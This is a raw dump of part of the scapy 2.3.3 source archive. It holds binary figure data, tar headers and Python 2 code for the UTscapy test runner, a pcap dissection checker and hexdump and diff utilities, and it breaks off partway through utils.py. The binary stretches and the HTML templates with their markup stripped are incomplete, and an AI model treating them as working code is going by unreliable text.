}$%}%~ 2;`w@Bw׳`*P'."bwASHS [Dhw{i "X,nLn!gBx~)]^D}`0JLE[~^ ϓg?bIA0+i\r[lA_В=찡Ȁ$SLokSTT4lذCRDxO? B */UbXv9E_O'ޖƅl]G("A @w̩ NwBĂ#޽{xx  4zǏ A m%;w.Uo߾"?nb6R>_Ùkc@RV\'ˆEƱubqYǎ: IE "hFQM^jJ@Ԥ&[CĺXu!PIwFgĉӧO ݻwɡ oj2w8O!jNSʔ.T5֪ù\*//eIA @2"]lَ;Pv ##5kP ͛{~={^xСC 4!k)y 7(σ̘1cѠ2 CW$P!' oBCCqU͡A)3 ؀b靣wU[ڍn7\GOs6$A @ l@T֭[Oޅ 52BVPP$,Z:JgΜ ]M6E対ꭷBrmN:1ݯ{*}⍠*iL@"}` 2}U'$mA @ ?US}vځǠ % ayX`U'^ x%@6,,  EB,X0iҤnݺA1f,dlP1~AI,K/kˤ. eDNA @  D͸`KBH<  Qj-OW41L&FMeQ<Ѡx_MyT?3yJ @A_{Y~رcp>` N .qqq%%%7nܠc a3uZ&] u%K@kj]:uj_t 2mt#<@  s lFT>}tp5aP&8ROF^7" c"3XNLLLؼ= K/!j eΜ9Ȁ'_uc Jp޹s'Mj|棏>B<> stream xXKO#Gϯ[`%~?(R.bcl#~n=/EHSU=/5g>WJ{9YKVku-׻uSߪW~zp(TʹΗSSm*!a@8B:(29Ld)4Y(y`˒q7ߟNV1U; 1ϴ>!4ꛑuĉyOD5L"B)A|bJ RLH9="#X؝s#Hp*xS+1kU2S=hFB{G:?*(N8(9A-%H$ZxS!ȔeF8cָD*˞<+LHa#J>4 n׆Ȅ~VQ\EeAr`728R\EQ@Jgl{LbL3uV [<KU).`I&b$ qb^Op4)Se `t*0%kt(IYlK8wҌ6ɗ@1=RpbvWapvOyg&[_*VE먱3%=PZx&%`!ƙp&=Hp%9dz gM$zR!cQ`'yJUmk^|>Veu{(cfoiHcVW~}NYUj{XmWB!([_,G>cih ۑES#?P?߯~} +VWwksBnam[M{0(4IAw`,(ب}m^z{tpoc"Gݗ/տ!endstream endobj 6 0 obj 1420 endobj 4 0 obj <> /Contents 5 0 R >> endobj 3 0 obj << /Type /Pages /Kids [ 4 0 R ] /Count 1 >> endobj 1 0 obj <> endobj 7 0 obj <>endobj 12 0 obj <> endobj 13 0 obj <> endobj 8 0 obj <> endobj 10 0 obj <> endobj 9 0 obj <> endobj 14 0 obj <>stream xUT TawgVeRΎ?Qhp+RiY eADQ`rhnڲm hHE"Zh=Mw8o9isyw}܏ IrNjst,\\@ E2L}0eV,"= eq!5΅P>dyM¢< FFlܸ^c(1j0 h~;m2s\^RZdwMƢB+=_z6h.-Su%O1䖚t$BUS/2X ie&'݄x#D*H iD"NZď]D,D_֞Զ Z(my{.|N:mF`"܅9~2x);NBWb ]4H3B!s _11h%bU0{euC- D)* 5Qy=mqµDj։⼈_^i̱;ШBԩJ"7<^ܘ^ |/*PB u)YXHŇ@ZKCPU\JҦlw|1XT>q,;^ m{ʎٴx3w.d6^*;w\u7SR~QJR+a +;`Ac@]u^hg؁dk<, ?°~+^8NPܬ إ9f`U0ijx}EdX9h3w'Kg^'۝{jKj#=ؔAߴك )ٱHk+afl9kfppVN#w#P;81AsH*8Fy9kԬX(d4<T^ӱ_޹W |CCˡJnƲfk>!Ya\C NcVò(L'OwmSm }ġnC hVB1>g v87 Fj,߰d,1WZr:OG+4{OL]ɉt/O簳uɱ屸t`L r< anXoSCr(>$BP1*V`2-#S|8!ΚN;Cjve7qm#Y(E[os1pOR:VvJj/|x xAAϮ/|H]26LgWvy%tUG /(8ТDڪ-q%E`FM[`vUB2(UxbӛB<ÖVOc܇-%GB}Mi| ^%(M2&s^=_Զ3ʩ;Ac endstream endobj 11 0 obj <> endobj 15 0 obj <>stream xUO[Ha]uuS2wT,J/E,*m']뎚ڪav"" zUH,'Q}9 ca괛h..20`rtOڊ'K-IC jTP}##0#0\vScʽT{9/??jpPtBV@Xmf8Ak1ݤ7i[]=C7Sc٬mT>*.,,:s&s:kX3T-d57 "H Vi `샴66DFLEz1,M>+F/F#$ZAat [(fyf9cF;7Y?#\>)/zq}|3fl\ p79t[Qca.4IZ<5:B( J4N%I[i>Ȳn[c`<4*ghC<```B)-w\CPByWÁ>rMNye)sA=BFt%piv>kۣRYFѸDqߒF#j7 endstream endobj 16 0 obj <>stream fig2dev Version 3.2 Patchlevel 5 scapy_concept.figdirk@noname \(Dirk Loss\) endstream endobj 2 0 obj <>endobj xref 0 17 0000000000 65535 f 0000001735 00000 n 0000007134 00000 n 0000001676 00000 n 0000001525 00000 n 0000000015 00000 n 0000001505 00000 n 0000001800 00000 n 0000001912 00000 n 0000002596 00000 n 0000002283 00000 n 0000004609 00000 n 0000001841 00000 n 0000001871 00000 n 0000002854 00000 n 0000004872 00000 n 0000005671 00000 n trailer << /Size 17 /Root 1 0 R /Info 2 0 R /ID [] >> startxref 7349 %%EOF scapy-2.3.3/doc/scapy/graphics/scapy-concept.png000066400000000000000000000722211300136037300216000ustar00rootroot00000000000000PNG  IHDR`V pHYs   IDATx|G' .E"5ܽxw(^(.]'slrwݻgّwrOfy)**J"   pV8    a PgHHHNPɋ0HHH(k3@$@$@$`'\F)„ G)RoĬYShdɒs-^/_|&v*&lbĉ/^X|y7IHH 8iǭyeL֭[\r=|Ν;yEٳg.]m]%""",,,ѧFSYdɚ5'OcHH^bҤIҚ)()Ƴ EiӦagСv򤡥J # HՐ#  HdVHn~GӛM@gI   UPqvvvuuTW,L$@$@$|q,B]|W^T~ڵkȑA7no&[l%K2dH@@矿KwV{EʫWP}˖-o>׮]ݔv:^F^~?UTRBׯ~z8h7(WZբE L2ݻw?qD29 w?{,܌ʕ+_}̙ڄ.]*ҿ}}}k3{Zj̙3O |/^ݻ( O>//["̿)K I1xzzI=LJq Pr…re {OF9CFR#J'>>>GF~!*r_: F-IA]zݓC 4b:R QAcPLGȚQFہDwwcxt… #$⑤?^~/7"'ٳgl{0̈́\N}ȩ^kԛ7o.99 X2A$@$@!`}l?} ,jș>_q.eJ_pA.Guqȟe VgPiӦڍ:tHR ڲF*&]+vD#1ج=~ځ۶mZ\1WժUQLҖ5iܸL#QeŊ@N7oCFJJzE[J"VaIMI vC٠G#V. X@5< xժU-0 %g'>L$֭ 83O7jIF.0qOLQș Nid:u0Yu(Q##u5;̅0X G>|ouM>]''q%!u}KaGSdB ڙH}.0"i<LhWJn!Y;iIHtlL3gV:vXfMHMɵ6aINӥK(N+0A$@$@"`k·2ĔCGXA&Vb?Ɂ r"y<5׭)Fbv)"k-80 Z(?Ntao3+|q1HcO'-| Əҥ޽{p < ;udvj $\֘hd7[gC~D;8Ēз~M3gСp& ˲=vԨQ2hUV҆p)iHn\;(8dX$ѣG!b,X'8`#%  0es,[nN:8hSǯVo/]+Oc'vDk',pA˿򋎦Q];`*BʙKxt!9G["% J.ΐڵ| V&9Ivӑ:% = (e &B8" (TD\|ǒ Qvj@~%$tS6N#"U EK.tL`w7\bpkQ3Rґ8oDxbDRF5 p 2:ȨbdX~+LرC l Hb a1;0N*oG X| [𙍏կ;0灸|&1ƍ`<܇΂UTg%vSR>aU%X<;w.!L½;r|>\AXh,]vn†#H(+,3`Gܼy C/FhAjnFGGٳg 6,C r;)"UXtP b&!Bn"ETRpTm8``:q2vHV XvxCQ-]LL'SLu xJRիWcC{Gv]9RfzCXrnؿc r8OHɤmtQ!A va,\xQ*O?p!!CLhaIFp2txAaL.&%s[<~t635Ld]i  'ig[z`J)πǏ|]o/$7a8bF%n@ca6?R؅e$qTuLl`AP6k((db0j4tAl@Ab  p(ԩ2ԋYt 8;) )S./P K]YF$Ft S:UxK$@$@&` Y[z n_5J62cE  p(wv(, P>&  0'sd[$@$@$@6$`Al,T GhkUi||J$@$@$ !b   &.BY6"    e$@$@$@$@YcMHHH4gB!o _߂@lb \tij~8 ?c. : $NSN괝VF .wasͶ>gJlvKl ֭[[h#EIHL6 vٞű$@ މ$gb悥X碢",׾c'NcI `&88؎ȡH5&b1   Q}$@$@$@&1 (e#  0eXHHH@(kh (kLb$@$@$@J'@Y7DHHHL$ϔFEEReE ",={4Ҡ۸q\]]xWwww+tP] @%~l5jgggdɒkgL5ZܥFlyl NhdD5 6rHC/>jWqk?X8K5aa|6߿.Q ]?]2|dv&N7?n9*"yzt=Ǫ82[UZM9-`߱oZA3<}W+PқKyzz:M&5 ڱc*^^^ iɲg1&`_פrrrNşv묅J)$f/c{ooDw 5H 7xQpI4u?ZO$@$@$ Q0A$@$@$nGIH)Sp,F=<<3+WlٲH" 6N 5 FNJ ;EA#HHQIFaڙM_t =nܸѢq`d#!yiɓ{6mzm`$@$`ӦMK,СC-ӼE(;|3w:99tY'KOW*UxGJ$8?s%x"@Y 3IcV"G8jՂȁāQh5 H8nO 'ٸuű !1}^?}|gyxj 9YsرF/9I& ͒% "w޽{-Zltު;H8`o Q{ׯҖ'"dD...Z у,ҽ͝#ӤTe)ņǁPX}ҧ0T>a$dٳg?nܸQpamv`t̋/2f̈ŋCA74os9ޚ ~/=X<2Q9Kɝ"E <Չ&MȠ>L"-[#Lm 4^ |ҥ4eNOO>Lɗo{㎽ބGt_=K2z2Vܿ9jV$_ r?%Ѱ0lG_~jʕ+'CKu2RqFQxhpo7x1>2{5ʝ;K5`$0uhڵ@3g>|x~ P;4iG <~֭[:uN:?Tȿ̇Ν;?k3G M?lٲnݺ}fTYJf>`6hH{2E$^1ع{,!RBQFAy`T&dF, c>343fS֬Y1"-$a֤M6lbֹ9_#K ol)k3~B"QTge =~>4Zݺu0KtU^ j;ԨQFZJX/% SZ>|XN=al;f$:wh8 f# ,6'qƘMsJƈ 6H3@3g֮‹va1.͙3ؘRf͂ JZ,n"~ȱa X@Ji,Ė͒ Xݻ Zx`ZUVV&2W 1c NpsF;wR=e(kUHHHs -Z3X?֌ѣ1I:5ވNExaڛ7o֭[Oƺs(Q[SMo5bI  03|'ۈ)\c9 v2e1rB""-[e ̍!5ʕ*$Sd*VS)do.&@dDxdxheTI``8F $@9VZˆJeݝA2 ˗/ck4 K'$GŋS2ҩ2U8C8Ao)Ċ(s6m4%wr.]G gn2R a 'Ϙq#'\;:7Y6ɓ[wq =|7؉'#yK`J,ܔ?T۸[PV⃩ ,<lٲ+V 9ѣ;wOVb[͡ୌ9K6Q֛^0c̙VZQSo|6[S9Q@ȷL Nt@0ӣGRoW\V. Z$@$@$@#@YWBHH@ $,̘;/1M6  eY0 p8>Yah륛|sks82 P>& u|@4lŀLqr努{^](kh- ((]Hl'Z(\DDƵ(P D$@* *Q6GE^⻞K=>_!2S@h=0o{± B erXGl+"D"ѯS%3!3l9 p( 4M1g: IDATjP`:[ctVo"CVC ޽*\'H6-˂>="-,p>oްd^S aSCyCt\\ eE W G8.;!4  07=7Ĩng xJ$@L;q;0 (klA} Ԫ ҧoT9U4]Qrx)kGHH A%抔^F{qJixxx*UjȐ!ı0[t6J6D$@E (XըX^|\dL# 2hZG4/_Œ/^reaaay[n+T#iC| Pė˓ hCWHyʉM'O<85j(_<&ue11L@q&͹-K '6 ul` 7ⱺGhGǏbp!!Mwf5!ׯGzCae@OΔ%ΥK._<{lٲIرc3Gi%k0w7+ >K;HI|<#?vss&wnrلtu%bDD_zPW^\`Nݏ?W_```ҤIݻw-U&eɚwHh*~5uh_F nަ|d+NNNZRřP۷%AmYd1އ>}^z*;ѣG>ꊿ1moWZ #n96$,Y,Y2`$@$@ &)o>DZE n޲)e,׊+KXqHH 0þ~X\+.jWc9Ѕ&`Y I56NIHZıcpl~V {ŖbѭBGxAqI'f1_Bɱ 8<_h4MTb/qwN<> /˛EDxpClٲtQIY5 %z$@$>Yy_"tϟY/VL01[euy7 >myFiXw8rgk\Q $@$`#h:64ȑY<~!""ld"u<59b 0I\m@ȓM,$`^ e^lI 2"q䬨ZVϐOta=ԛ |wx)U52 &H@Y*/3gSY &,4~~d `o<ȞblQDA*;q񦘶\?~^V1_V~ .FCbep$KWnU}Νk׮ݤIuO U\'%|J-]4Ks.R'(uѷF/ r `/JQK%pMU%&uk<-KA T.-vt"&}ËlA5>IH@ž磷pcGw4jgkh; ؔջ_8GAթ,W|O¦6s&@Y' 1Cg3⭷XC-Jh ENhGqK &8B%Nk$b4]d˨q%L/6sH"(k, 0&fջ8+I1oXVOMY8? )e-  ; 9İٜGω>v0&A}(kh1 ( HO5y>\*E/4_+XZb(ks$@$` >~"=}tp.[䓔)/*n,'$8PIH@@aI pfEƴz 2Gǚ= =JSѼC̕"G-Q2C=!ipFMo rx+[Ňy;n|,N\j,UHT-r%vN_0G$@%|Ⴗ͉ 99]*&/#z?Y6NS$@%p֭0Ç'O\z)Sfɒż5H)/^+.@bȚZJ3dȐ+W{x~2q֬Y?~駟RJZf ؜ѣGV*' ػwa$.E4Tsm]ܔ+2[svH nfĈF*Knر;w6R f̘-ZȲ&$$$***iҤV] B {^^^P0Ra'ٲe1˄j+",<53/ӥV h!k%Jh̘1 }-[^zեK|7M```PPclHWdž5jV4j^i *..*ͶzdMĉ؃|W^7oFp+^rX }]"tҜ9s\]]!;j!5j/wڵ~z)=|$F%C$`ekXcW`Ma\HGkn7" HJ}h74 ă@?4i|7%5kMSzk׮AyfP!Xھ}TrP'{n͆2v3ѲeN>Z|˗/aSkӧOFXHB^#LCgd%5_i1[)S{Z 4~2^~F#GjGϞ=۱cwv $?ݴitIW0тiӎ5 HCJȑ#<_[>}ބ\̄]4"A&wB% #kf۶mh5lfqۧ`QQ"(DsNr ]% } =d> Y"I +ӦMsڽČi*Aм>uԒ2pL %m:+[ ܁TZizX9 #kfܸqCc11se˞9sJE*p$P@Ѯ}ss]nܸS":vXfMLHZG $@vFKpœXcg/7IbѴ(QΆᨛY^i#p8`aŊS"ѩS'4򈕇 [`˗O. V`kzӢDŽ]7ko""E!CVHu6=E8Q/M߾}qiΝس =`aa֕2(f) (@ݺu튌X70 efOe[32Z$5h;2=  &`K0#gJ`.[qV0'\|PKʍ# %{ VXw`^[4 4Py kN^JyN  0GPBȗ7r&_pD_}r޾}5u]ʕ+7}t[jC'/7$`Q58tIf*U 0u_!Š{ ,?e%aÆ>;)T[, hѢ~R#ፈhرcc$ XC .QB*}m7 is%KoM 1?ddП=RǧK ȗEHGGѥK Ί;w.Iaj*U3#=_f-K#$ 0M$@$`^s!2^gkĐ5EP#SJ#A>)2N4*1284 1^u[@!^;XϚ5+ X%*׮8aBXO#IlEap hj඲@Ok_7˷ Q$O0N ֱI (f}[ d&I`# K*yȾ7/޽wY2$uK&{:EgӤN7OJWZ Јaiؾ #Rz{v%' ŋFlj# xڿWo\ѣ'J&YFQyl`i^kG']ǰܹs6lܾY3f[ $,+55Gy#.ӗO'ETb̧h?MK5vZ9(؜;kk ?ZG_5+Duo֟~ma*ZO}5VϔANS5%]jF'& ia+p 59J07 6L<-1L\jۭk8yA抑shD9qc0 `d#$`fNl]}01mSf?wye^}mc{E+1~&;:65\rd X@YzUK%P7lV§Rd9U'A^o_!Xk%/MW_pp_49Dhd̅6@4hY3m޴n Or!}nsYF33fbōX 6xjlppȐamn 0n^$Ѳ&QD"c-QW5 - `YӇߠM# 8u q]fMK֠> XB0'n6'MEvC`˖-f =,JBQٽoִA;vPahLGd%pB P(,!O1>XQݳhCoxQ4 U8ԋW`J/-kKEYv҅ A3{ `\J,*Y<txuNH@fLvJ50ڮ^_5{~Vj^P8zp#WTy!KYKj$ٳs&Y 'i|-2gά HO7iVc*+2,A"@Yc.l{6f F#_~Zzls{p4iZ0PQM2E[I.]t~m-ڋy>¹CW^5olH@(kTh6 ߇j.DlITH >P`pFB ϟ;lUO4  58t]ml5ko!=jٲ7Y,(ѬLfzxpp }G d?[Bu"`>p O:iL:uV]f۽/߿U0Re=&=u eQʹV"""6_}`7uB׼nx+ǎ̅uCo~~~tפb#0m:___= 0WD%o߾ñHW"G~M$`.5"vH@vn_߸G@?n@^$@Mơ_?OG#J%űU=O$(k>![ u~r)w,,WxxKcH PH .NVJ ""DpgĈ9b8FR˿G!>&kV]f 98P7wng1L[&CgZ7;4#/^5kVǔ*,C$ &oVhh$ @ ܽ}^S\#]h,H˗/=ztǎgϞE䮠k>P- e%{fo-=hƖ2!!!e&'5f<0ƺxI).7ڕDbRq贸X,(Z+=oyD\#Rw6]+fD9?_ 鐩WoŸ?ą*A{ՋnKM3WœX>QF$M}f:똸xSxk &2.Q|\=+c\DEEAIY;0(yMFޔ0v<x [UE)kTwb h"SC/Q s 0[3f ƙۋuŕM~ŀmQF, ujn~D i p%F`9f\ B83!uQ?VypgD _YQ8T!Qxt$K3"藺Ũ.SsORi&'\Zs#_ j7dq(*L@|o?USgUyLO޳gjs6/|utxɝsH66}ew~엯bثl2]BxVbq"Фi SA֪(sUBK^B;CFh4_ bi˙-֬kU\= T@0X—J?>`mMX0@ƌ/Z1˔):]^-\26})IEY P8'[u[+Jaٕi.*5rfR[׍{ 7Α%Zxkf_$\M4z>OɲŭǞ7V61o࠱'V~asAv_5%$`* nrWOϟ_>P//A9$`\{ bZ w.(ӀNyGqG8c [=k@4!>A9/}-Krn/#Gȗ/rR% =f{̝=ZDT*'kၘ$=I|"k]gJ(p 3oر_={իWg͚{;w糞={vٲe˜9s6jtwSNrʫW~8o޼ݺuI!!! .ܺuŸ+Wvڵh9Jhh(?~ŋJBeʔnsN!MŪ:(eYb;p}>Dis _4v_>V'.P/*_~޽{SE6Np6lbLN,0qEsL!y|ݿ{#;,,ԔZ(?7rI˗OСCW^0\m(P_~>gΜ/!1ܡ`>ٲE[bŊK(2nnnhPBH;wUV:ǏGlxx8ڲeY(͛7S`zL<ҥK4hL{w^Z hGƍ} k.ٖm۶uRS5:(i4ui[ ۷EzBp9E0"&sfSل]6$tpTgHvX=Ƹ ()RXHf$E֤ucǎICG k7;w:Ο.ʕ+c2i"#i~["""Zዥء!V2dgaMLi~~ʗ.]&Ep=F5#N !TogR֘Ί%IA ]GP͊'mU8ϞddkHL'[6ըQrZ +SHc7.l˰l YrBՂbҦqlV{2RB*i4i*Y8` `:Y`ྃ]T(=c y }1\֙& 'OS˯թu}_;&qAbb5f^V~}&HɓÁ&]L .h/iBGޕ=ې&:DD&r k0%E8cHS___l3zv#iġm\(g8` <s98:pFLPUHw߫/ie@/ošGj˲f6% K``!]tAdBɁwʔ)~i <;p8r>fPZ+WDB Iͬ[NS|Ŧ*W_I1r6ᦃHK.5HH#HNaN~n)kƍHA `-\˷L~9rͽ&U,Z?+[$nml fkO C]dbСCsՖXy!L Ma:gժUC!X097oޔ!dr~ ,!wء]X[1m0W'N0dt"c*JD} V([Ä -ıK3@P#/!Ɣ~f ϕ22xϨ*ɍ Í<#O{8qa|+jw];kD_X!WJ'.yڬXauZK,yiF!b+f\xo vNjڴ4"DEȵc/,-^|DfĤIpt .$XJ+b "l,#%c;:co˒k+aPqLdb>qc ۷~^{te eI7GoqNLf̛?kM`g8g+;O<>v~"HU}[ju̴c=ΎX τk}IX8R)?鱉S Fn 3ূFk=PF^ K Mٔ"E-Ba 0wE>-` ŰGiޑ9Iebc,F$H ᣰ a4ם

%(title)s

Shrink All Expand All Expand Passed Expand Failed

""" % test_campaign if local: External_Files.UTscapy_js.write(os.path.dirname(test_campaign.output_file.name)) External_Files.UTscapy_css.write(os.path.dirname(test_campaign.output_file.name)) output %= External_Files.get_local_dict() else: output %= External_Files.get_URL_dict() if test_campaign.crc is not None and test_campaign.sha is not None: output += "CRC=%(crc)s SHA=%(sha)s
" % test_campaign output += ""+html_info_line(test_campaign)+"" output += test_campaign.headcomments + "\n

PASSED=%(passed)i FAILED=%(failed)i

\n\n" % test_campaign for ts in test_campaign: for t in ts: output += """%(num)03i\n""" % t output += "\n\n" for testset in test_campaign: output += "

" % testset if testset.crc is not None: output += "%(crc)s " % testset output += "%(name)s

\n%(comments)s\n
    \n" % testset for t in testset: output += """
  • \n""" % t if t.expand == 2: output +=""" -%(num)03i- """ % t else: output += """ +%(num)03i+ """ % t if t.crc is not None: output += "%(crc)s\n" % t output += """%(name)s\n """ % t output += "\n
\n\n" output += "" return output def campaign_to_LATEX(test_campaign): output = r"""\documentclass{report} \usepackage{alltt} \usepackage{xcolor} \usepackage{a4wide} \usepackage{hyperref} \title{%(title)s} \date{%%s} \begin{document} \maketitle \tableofcontents \begin{description} \item[Passed:] %(passed)i \item[Failed:] %(failed)i \end{description} %(headcomments)s """ % test_campaign output %= info_line(test_campaign) for testset in test_campaign: output += "\\chapter{%(name)s}\n\n%(comments)s\n\n" % testset for t in testset: if t.expand: output += r"""\section{%(name)s} [%(num)03i] [%(result)s] %(comments)s \begin{alltt} %(output)s \end{alltt} """ % t output += "\\end{document}\n" return output #### USAGE #### def usage(): print >>sys.stderr,"""Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX}] [-o output_file] [-t testfile] [-k keywords [-k ...]] [-K keywords [-K ...]] [-l] [-d|-D] [-F] [-q[q]] [-P preexecute_python_code] [-s /path/to/scpay] -l\t\t: generate local files -F\t\t: expand only failed tests -d\t\t: dump campaign -D\t\t: dump campaign and stop -C\t\t: don't calculate CRC and SHA -s\t\t: path to scapy.py -q\t\t: quiet mode -qq\t\t: [silent mode] -n \t: only tests whose numbers are given (eg. 1,3-7,12) -m \t: additional module to put in the namespace -k ,,...\t: include only tests with one of those keywords (can be used many times) -K ,,...\t: remove tests with one of those keywords (can be used many times) -P """ raise SystemExit #### MAIN #### def main(argv): import __builtin__ # Parse arguments FORMAT = Format.ANSI TESTFILE = sys.stdin OUTPUTFILE = sys.stdout LOCAL = 0 NUM=None KW_OK = [] KW_KO = [] DUMP = 0 CRC = 1 ONLYFAILED = 0 VERB=2 PREEXEC="" SCAPY="scapy" MODULES = [] try: opts = getopt.getopt(argv, "o:t:f:hln:m:k:K:DdCFqP:s:") for opt,optarg in opts[0]: if opt == "-h": usage() elif opt == "-F": ONLYFAILED = 1 elif opt == "-q": VERB -= 1 elif opt == "-D": DUMP = 2 elif opt == "-d": DUMP = 1 elif opt == "-C": CRC = 0 elif opt == "-s": SCAPY = optarg elif opt == "-P": PREEXEC += "\n"+optarg elif opt == "-f": try: FORMAT = Format.from_string(optarg) except KeyError,msg: raise getopt.GetoptError("Unknown output format %s" % msg) elif opt == "-t": TESTFILE = open(optarg) elif opt == "-o": OUTPUTFILE = open(optarg, "w") elif opt == "-l": LOCAL = 1 elif opt == "-n": NUM = [] for v in (x.strip() for x in optarg.split(",")): try: NUM.append(int(v)) except ValueError: v1, v2 = map(int, v.split("-", 1)) NUM.extend(xrange(v1, v2 + 1)) elif opt == "-m": MODULES.append(optarg) elif opt == "-k": KW_OK.append(optarg.split(",")) elif opt == "-K": KW_KO.append(optarg.split(",")) try: from scapy import all as scapy except ImportError,e: raise getopt.GetoptError("cannot import [%s]: %s" % (SCAPY,e)) for m in MODULES: try: mod = import_module(m) __builtin__.__dict__.update(mod.__dict__) except ImportError,e: raise getopt.GetoptError("cannot import [%s]: %s" % (m,e)) except getopt.GetoptError,msg: print >>sys.stderr,"ERROR:",msg raise SystemExit autorun_func = { Format.TEXT: scapy.autorun_get_text_interactive_session, Format.ANSI: scapy.autorun_get_ansi_interactive_session, Format.HTML: scapy.autorun_get_html_interactive_session, Format.LATEX: scapy.autorun_get_latex_interactive_session, Format.XUNIT: scapy.autorun_get_text_interactive_session, } # Parse test file test_campaign = parse_campaign_file(TESTFILE) # Report parameters if PREEXEC: test_campaign.preexec = PREEXEC # Compute campaign CRC and SHA if CRC: compute_campaign_digests(test_campaign) # Filter out unwanted tests filter_tests_on_numbers(test_campaign, NUM) for k in KW_OK: filter_tests_keep_on_keywords(test_campaign, k) for k in KW_KO: filter_tests_remove_on_keywords(test_campaign, k) remove_empty_testsets(test_campaign) # Dump campaign if DUMP: dump_campaign(test_campaign) if DUMP > 1: sys.exit() # Run tests test_campaign.output_file = OUTPUTFILE result = run_campaign(test_campaign, autorun_func[FORMAT], verb=VERB) # Shrink passed if ONLYFAILED: for t in test_campaign.all_tests(): if t: t.expand = 0 else: t.expand = 2 # Generate report if FORMAT == Format.TEXT: output = campaign_to_TEXT(test_campaign) elif FORMAT == Format.ANSI: output = campaign_to_ANSI(test_campaign) elif FORMAT == Format.HTML: output = campaign_to_HTML(test_campaign, local=LOCAL) elif FORMAT == Format.LATEX: output = campaign_to_LATEX(test_campaign) elif FORMAT == Format.XUNIT: output = campaign_to_xUNIT(test_campaign) OUTPUTFILE.write(output) OUTPUTFILE.close() return result if __name__ == "__main__": exit(main(sys.argv[1:])) scapy-2.3.3/scapy/tools/__init__.py000066400000000000000000000003651300136037300172260ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Additional tools to be run separately """ scapy-2.3.3/scapy/tools/check_asdis.py000077500000000000000000000054461300136037300177370ustar00rootroot00000000000000#! /usr/bin/env python import getopt def usage(): print >>sys.stderr,"""Usage: check_asdis -i [-o ] -v increase verbosity -d hexdiff packets that differ -z compress output pcap -a open pcap file in append mode""" def main(argv): PCAP_IN = None PCAP_OUT = None COMPRESS=False APPEND=False DIFF=False VERBOSE=0 try: opts=getopt.getopt(argv, "hi:o:azdv") for opt, parm in opts[0]: if opt == "-h": usage() raise SystemExit elif opt == "-i": PCAP_IN = parm elif opt == "-o": PCAP_OUT = parm elif opt == "-v": VERBOSE += 1 elif opt == "-d": DIFF = True elif opt == "-a": APPEND = True elif opt == "-z": COMPRESS = True if PCAP_IN is None: raise getopt.GetoptError("Missing pcap file (-i)") except getopt.GetoptError,e: print >>sys.stderr,"ERROR: %s" % e raise SystemExit from scapy.config import conf from scapy.utils import RawPcapReader,RawPcapWriter,hexdiff from scapy.layers import all pcap = RawPcapReader(PCAP_IN) pcap_out = None if PCAP_OUT: pcap_out = RawPcapWriter(PCAP_OUT, append=APPEND, gz=COMPRESS, linktype=pcap.linktype) pcap_out._write_header(None) LLcls = conf.l2types.get(pcap.linktype) if LLcls is None: print >>sys.stderr," Unknown link type [%i]. Can't test anything!" % pcap.linktype raise SystemExit i=-1 differ=0 failed=0 for p1,meta in pcap: i += 1 try: p2d = LLcls(p1) p2 = str(p2d) except KeyboardInterrupt: raise except Exception,e: print "Dissection error on packet %i" % i failed += 1 else: if p1 == p2: if VERBOSE >= 2: print "Packet %i ok" % i continue else: print "Packet %i differs" % i differ += 1 if VERBOSE >= 1: print repr(p2d) if DIFF: hexdiff(p1,p2) if pcap_out is not None: pcap_out.write(p1) i+=1 correct = i-differ-failed print "%i total packets. %i ok, %i differed, %i failed. %.2f%% correct." % (i, correct, differ, failed, i and 100.0*(correct)/i) if __name__ == "__main__": import sys try: main(sys.argv[1:]) except KeyboardInterrupt: print >>sys.stderr,"Interrupted by user." scapy-2.3.3/scapy/utils.py000066400000000000000000000752371300136037300155010ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ General utility functions. """ from __future__ import with_statement import os,sys,socket,types import random,time import gzip,zlib,cPickle import re,struct,array import subprocess import warnings warnings.filterwarnings("ignore","tempnam",RuntimeWarning, __name__) from scapy.config import conf from scapy.data import MTU from scapy.error import log_runtime,log_loading,log_interactive, Scapy_Exception from scapy.base_classes import BasePacketList WINDOWS=sys.platform.startswith("win32") ########### ## Tools ## ########### def get_temp_file(keep=False, autoext=""): f = os.tempnam("","scapy") if not keep: conf.temp_files.append(f+autoext) return f def sane_color(x): r="" for i in x: j = ord(i) if (j < 32) or (j >= 127): r=r+conf.color_theme.not_printable(".") else: r=r+i return r def sane(x): r="" for i in x: j = ord(i) if (j < 32) or (j >= 127): r=r+"." else: r=r+i return r def lhex(x): if type(x) in (int,long): return hex(x) elif type(x) is tuple: return "(%s)" % ", ".join(map(lhex, x)) elif type(x) is list: return "[%s]" % ", ".join(map(lhex, x)) else: return x @conf.commands.register def hexdump(x): x=str(x) l = len(x) i = 0 while i < l: print "%04x " % i, for j in xrange(16): if i+j < l: print "%02X" % ord(x[i+j]), else: print " ", if j%16 == 7: print "", print " ", print sane_color(x[i:i+16]) i += 16 @conf.commands.register def linehexdump(x, onlyasc=0, onlyhex=0): x = str(x) l = len(x) if not onlyasc: for i in xrange(l): print "%02X" % ord(x[i]), print "", if not onlyhex: print sane_color(x) def chexdump(x): x=str(x) print ", ".join(map(lambda x: "%#04x"%ord(x), x)) def hexstr(x, onlyasc=0, onlyhex=0): s = [] if not onlyasc: s.append(" ".join(map(lambda x:"%02x"%ord(x), x))) if not onlyhex: s.append(sane(x)) return " ".join(s) @conf.commands.register def hexdiff(x,y): """Show differences between 2 binary strings""" x=str(x)[::-1] y=str(y)[::-1] SUBST=1 INSERT=1 d = {(-1, -1): (0, (-1, -1))} for j in xrange(len(y)): d[-1,j] = d[-1,j-1][0]+INSERT, (-1,j-1) for i in xrange(len(x)): d[i,-1] = d[i-1,-1][0]+INSERT, (i-1,-1) for j in xrange(len(y)): for i in xrange(len(x)): d[i,j] = min( ( d[i-1,j-1][0]+SUBST*(x[i] != y[j]), (i-1,j-1) ), ( d[i-1,j][0]+INSERT, (i-1,j) ), ( d[i,j-1][0]+INSERT, (i,j-1) ) ) backtrackx = [] backtracky = [] i=len(x)-1 j=len(y)-1 while not (i == j == -1): i2,j2 = d[i,j][1] backtrackx.append(x[i2+1:i+1]) backtracky.append(y[j2+1:j+1]) i,j = i2,j2 x = y = i = 0 colorize = { 0: lambda x:x, -1: conf.color_theme.left, 1: conf.color_theme.right } dox=1 doy=0 l = len(backtrackx) while i < l: separate=0 linex = backtrackx[i:i+16] liney = backtracky[i:i+16] xx = sum(len(k) for k in linex) yy = sum(len(k) for k in liney) if dox and not xx: dox = 0 doy = 1 